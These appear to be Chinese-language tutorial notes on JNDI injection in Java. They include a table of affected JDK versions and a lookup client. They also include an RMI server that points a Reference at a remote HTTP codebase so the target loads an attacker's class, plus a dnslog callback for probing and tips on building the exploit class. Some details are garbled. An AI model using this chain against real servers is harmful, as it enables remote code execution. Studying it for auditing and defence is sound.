JNDI原理解析

​ JNDI(Java Naming and Directory Interface)注入是一种攻击技术,常见于Java应用程序中。JNDI是Java平台提供的一种API,用于访问命名和目录服务,例如LDAP(轻量级目录访问协议)。JNDI注入攻击利用了应用程序未正确验证用户提供的输入,导致攻击者能够通过构造恶意的JNDI名称,执行未经授权的操作。

1.命名/目录服务提供者

​ RMI(JAVA远程方法调用)

​ LADP(轻型目录访问协议)

​ CORBA(公共对象请求代理体系结构)

​ DNS(域名服务器)

JDK6 JDK7 JDK8 JDK11
RMI可用性 6u132以下 7u122以下 8u113以下
LDAP可用性 6u211以下 yu201以下 8u119以下 11.0.1以下

1.1.RMI示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}

-----------RMIServer--------------
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("test", "test", "http://192.168.0.1/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}

image-20230730224103814

1.2.LDAP示例

image-20230730224507503

1.3.DNS示例(无害,可用于扫描工具或探测)

​ DNS: //ewpp7z.dnslog.cn

​ 漏洞端和DNS服务器直连

​ 若存在jndi注入则,则存在回显

1.4.注意:

​ 1.类名需要和LDAP服务的转发名一致.

​ 2.static 静态代码的执行顺序, static 代码块, static 关键字修饰, 构造函数。

​ 3.再exp类中不能写 package包位置,因为类在实际加载过程中并未加载此包。

​ 4.注意编译当前类的java版本,大版本号需要和漏洞服务器版本一致

​ 5.审计关键字:lookup函数参数可控。

​ 6.利用链工具JNDIExploit